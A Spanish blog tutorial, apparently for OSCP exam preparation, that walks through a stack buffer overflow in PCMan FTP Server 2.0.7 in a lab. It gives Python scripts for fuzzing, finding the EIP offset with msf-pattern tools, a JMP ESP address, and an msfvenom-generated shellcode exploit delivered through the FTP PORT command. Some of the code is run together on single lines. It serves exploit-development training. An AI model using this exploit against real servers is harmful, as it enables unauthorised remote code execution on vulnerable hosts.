Saltar al contenido
Volver al Blog

tutoriales · 6 min de lectura

Preparación OSCP: Windows Buffer Overflow

Introducción práctica a un stack buffer overflow en Windows (32-bit) orientada a la preparación del OSCP, explicando el proceso de fuzzing, control de EIP y uso de Immunity Debugger/Mona.

· Manuel López Pérez · tutoriales

Introducción práctica a un stack buffer overflow en Windows (32-bit) orientada a la preparación del OSCP, explicando el proceso de fuzzing, control de EIP y uso de Immunity Debugger/Mona.

Preparación OSCP: Windows Buffer OverflowBuenas, quizás alguno de vosotros estéis pensando en sacaros el OSCP, la famosa certificación de Offensive Security, así que he pensado que sería útil proporcionar un tutorial de un desbordamiento de buffer de Windows de 32 bits. Para la mayoría de las personas que entran al mundo de la seguridad informática, los buffer overflows pueden ser un tema que asuste. Mi objetivo es que al final de este tutorial, tengáis una comprensión más clara y menos miedo al desarrollo de exploits de buffer overflow.

Antes de leer este post os recomiendo leer los post de introducción al exploiting: Parte 1, parte 2, parte 3 y parte 4

Introducción

¿Qué es un Stack Buffer Overflow?

Según la Wikipedia, un desbordamiento de pila es el exceso de flujo de datos almacenados en la pila de una función, lo cual permite que la dirección de retorno de la pila pueda ser modificada por otra parte de un atacante para obtener un beneficio propio, que generalmente es malicioso. Básicamente hay que desbordar un buffer de la pila, modificando así los datos adyacentes permitiendo inyectar código y tomar el control del proceso. Os recomiendo la lectura del post de corelean.be para entender esto mejor. La pila es la estructura que almacena la información de un programa.

Si el programa está mal programado permitirá el desbordamiento del buffer; supongamos que tenemos un programa que, mediente gets(), da valor a un buffer X caracteres pero el usuario introduce una gran cantidad A: Se producirá un fallo (segmentation fault) ya que hemos sobrescrito la dirección de retorno.

Explotación

Fuzzing

Veamoslo gráficamente, tenemos un PCMan FTP corriendo en un Windows 10 y con Inmunity Debugger para analizar lo que ocurre en la ejecución del servidor. Lo primero que haremos es ver si este software es vulnerable, la técnica que se utiliza para encontrar un bug se llama Fuzzing que consiste básicamente en enviar datos de una longitud variable hasta que crashe la ejecución. Podemos utilizar el siguiente python:

#!/usr/bin/python
import sys,socket
from time
import sleep
length = 1500
while True:
    try: print "length sent: " + str(length)
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.17.129',21)) s.recv(1024) s.send("USER Anonymous") s.recv(1024) s.send("PASS
    pass") s.recv(1024) s.send('PORT ' + 'A'* length) s.recv(1024) s.close() sleep(1) length += 100
except: print 'Fuzzing crased at %s bytes' % str(length) sys.exit()

Como veis se abre una conexión con el servidor y se enviarán mensajes a través del parámetro PORT hasta que crashe (aumentando en 100 la longitud de la cadena que se le envía en cada iteración). En cuanto deja de establecer conexión con el servidor sabremos la longitud necesaria para hacer crashear el programa, en este caso 2100 bytes.

Buscar el relleno

Sabemos que enviando al menos 2100 bytes haremos crashear el programa, pero necesitamos saber la longitud exacta para poder manejar la dirección de retorno. Para esto utilizaremos msf-pattern

msf-pattern_create -l 2100

Modifiquemos nuestro exploit:

#!/usr/bin/python
import sys,socket
from time
import sleep
import struct
buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.17.129",21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS
pass") s.recv(1024) s.send("PORT " + buf) s.recv(1024) s.close()
python exploit.py msf-pattern_offset -q 396F4338

Tras la ejecución del exploit el programa se detendrá y veremos en el Inmunity Debugger el valor del registro EIP (que contendrá la dirección de retorno sobreescrita). Con msf-pattern_offset veremos la longitud exacta del relleno. La longitud de nuestro relleno será 2006 bytes, vamos a demostrarlo:

 #!/usr/bin/python import sys,socket from time import sleep import struct

padding = "A" * 2006 buf = padding + "B"*4 + "C"*256

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.17.129",21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS pass") s.recv(1024) s.send("PORT " + buf) s.recv(1024) s.close()

Como veis, tras la ejecución del exploit, el registro EIP apunta a las 4 Bs (\x42\x42\x42\x42) luego hemos sobrescrito la dirección de retorno con el contenido que queramos. Además el ESP apunta a las Cs, seria algo así:

Ejecutar nuestro shellcode

Tras ver el diagrama anterior, nos queda claro que en las Cs deberemos escribir nuestro shellcode y sobreescribir la dirección de retorno con la de nuestro shellcode. Podríamos saltar a la dirección del ESP directamente, pero es más sutil buscar una operación JMP ESP en las librerías del programa y hay que tener en cuenta que la dirección del ESP puede no ser justo a continuación de la dirección de retorno (las 4 B) por lo que debemos añadir un colchón de NOPs. Usando mona podríamos buscar un JMP ESP en un módulo que no tenga ninguna protección como ASLR, pero para este ejemplo nos sirve con buscarlo directamente con Inmunity: Como dije antes, tras la dirección de retorno (JMP ESP) debemos incluir el código que queremos ejecutar es decir, nuestro shellcode. Creemos un shellcode para probar que podemos ejecutar código (nos bastará con abrir una calculadora para demostrar que funciona)(en este caso usaremos el encoder x86/shikata_ga_nai pero puede ser que no funcione y tendríais que probar otros o no usar encoder):

msfvenom -p windows/exec CMD=calc.exe -b "\\x00\\x0a\\x0d" -e x86/shikata_ga_nai -v shellcode -f py

Y busquemos un JMP ESP en el programa con Inmunity Debugger:

#!/usr/bin/python
import sys,socket
from time
import sleep
import struct
padding = 'A' * 2006
jmpesp = struct.pack("<I",0x739A96BF)
nops = "\\x90" * 20
shellcode = "" shellcode += "\\xdb\\xdf\\xbf\\xc4\\x47\\xa8\\xd0\\xd9\\x74\\x24\\xf4\\x58" shellcode += "\\x29\\xc9\\xb1\\x31\\x83\\xc0\\x04\\x31\\x78\\x14\\x03\\x78" shellcode += "\\xd0\\xa5\\x5d\\x2c\\x30\\xab\\x9e\\xcd\\xc0\\xcc\\x17\\x28" shellcode += "\\xf1\\xcc\\x4c\\x38\\xa1\\xfc\\x07\\x6c\\x4d\\x76\\x45\\x85" shellcode += "\\xc6\\xfa\\x42\\xaa\\x6f\\xb0\\xb4\\x85\\x70\\xe9\\x85\\x84" shellcode += "\\xf2\\xf0\\xd9\\x66\\xcb\\x3a\\x2c\\x66\\x0c\\x26\\xdd\\x3a" shellcode += "\\xc5\\x2c\\x70\\xab\\x62\\x78\\x49\\x40\\x38\\x6c\\xc9\\xb5" shellcode += "\\x88\\x8f\\xf8\\x6b\\x83\\xc9\\xda\\x8a\\x40\\x62\\x53\\x95" shellcode += "\\x85\\x4f\\x2d\\x2e\\x7d\\x3b\\xac\\xe6\\x4c\\xc4\\x03\\xc7" shellcode += "\\x61\\x37\\x5d\\x0f\\x45\\xa8\\x28\\x79\\xb6\\x55\\x2b\\xbe" shellcode += "\\xc5\\x81\\xbe\\x25\\x6d\\x41\\x18\\x82\\x8c\\x86\\xff\\x41" shellcode += "\\x82\\x63\\x8b\\x0e\\x86\\x72\\x58\\x25\\xb2\\xff\\x5f\\xea" shellcode += "\\x33\\xbb\\x7b\\x2e\\x18\\x1f\\xe5\\x77\\xc4\\xce\\x1a\\x67" shellcode += "\\xa7\\xaf\\xbe\\xe3\\x45\\xbb\\xb2\\xa9\\x03\\x3a\\x40\\xd4" shellcode += "\\x61\\x3c\\x5a\\xd7\\xd5\\x55\\x6b\\x5c\\xba\\x22\\x74\\xb7" shellcode += "\\xff\\xdd\\x3e\\x9a\\xa9\\x75\\xe7\\x4e\\xe8\\x1b\\x18\\xa5" shellcode += "\\x2e\\x22\\x9b\\x4c\\xce\\xd1\\x83\\x24\\xcb\\x9e\\x03\\xd4" shellcode += "\\xa1\\x8f\\xe1\\xda\\x16\\xaf\\x23\\xb9\\xf9\\x23\\xaf\\x10" shellcode += "\\x9c\\xc3\\x4a\\x6d"
buf = padding + jmpesp + nops + shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.17.129',21)) s.recv(1024) s.send("USER " + "Anonymous") s.recv(1024) s.send("PASS
pass") s.recv(1024) s.send('PORT ' + buf) s.recv(1024) s.close()

Ahora creando un shellcode malicioso (reverse shell):

Conclusión

Este tutorial puede servir para empezar la preparación para el desarrollo de exploits del OSCP pero no se cubren todos los aspectos necesarios para pasar el examen ya que no hemos explicado a encontrar los badchars del shellcode, o cómo buscar la operación JMP ESP en las librerias que no tengan protecciones como el ASLR. Además este tipo de exploits no funcionarán si los programas cuentan con protecciones como el DEP.

Otros software para practicar:

PCMan FTP Server 2.0.7 SLMail 5.5.0 Mail Server Freefloat FTP Server 1.0 MiniShare 1.4.1 Savant Web Server 3.1 WarFTP 1.65

Referencias

    Share:
    Volver al Blog

    Posts Relacionados

    Ver Todos los Posts »
    ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

    tutoriales · 16 min

    ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

    El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

    · Manuel López Pérez

    Retrospectiva cyber 2025: cuatro casos que explican el año

    tutoriales · 10 min

    Retrospectiva cyber 2025: cuatro casos que explican el año

    ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

    · Manuel López Pérez

    Windows 10 fin de soporte — el día después del 14 de octubre

    tutoriales · 11 min

    Windows 10 fin de soporte — el día después del 14 de octubre

    El 14 de octubre de 2025 se acaban los parches gratuitos para Windows 10. Qué deja de recibir el sistema, qué ofrece el ESU consumer (gratis en la EEA, $30 fuera), cuánto cuesta a empresa y cuáles son las primeras CVE que vamos a ver explotadas contra la base instalada.

    · Manuel López Pérez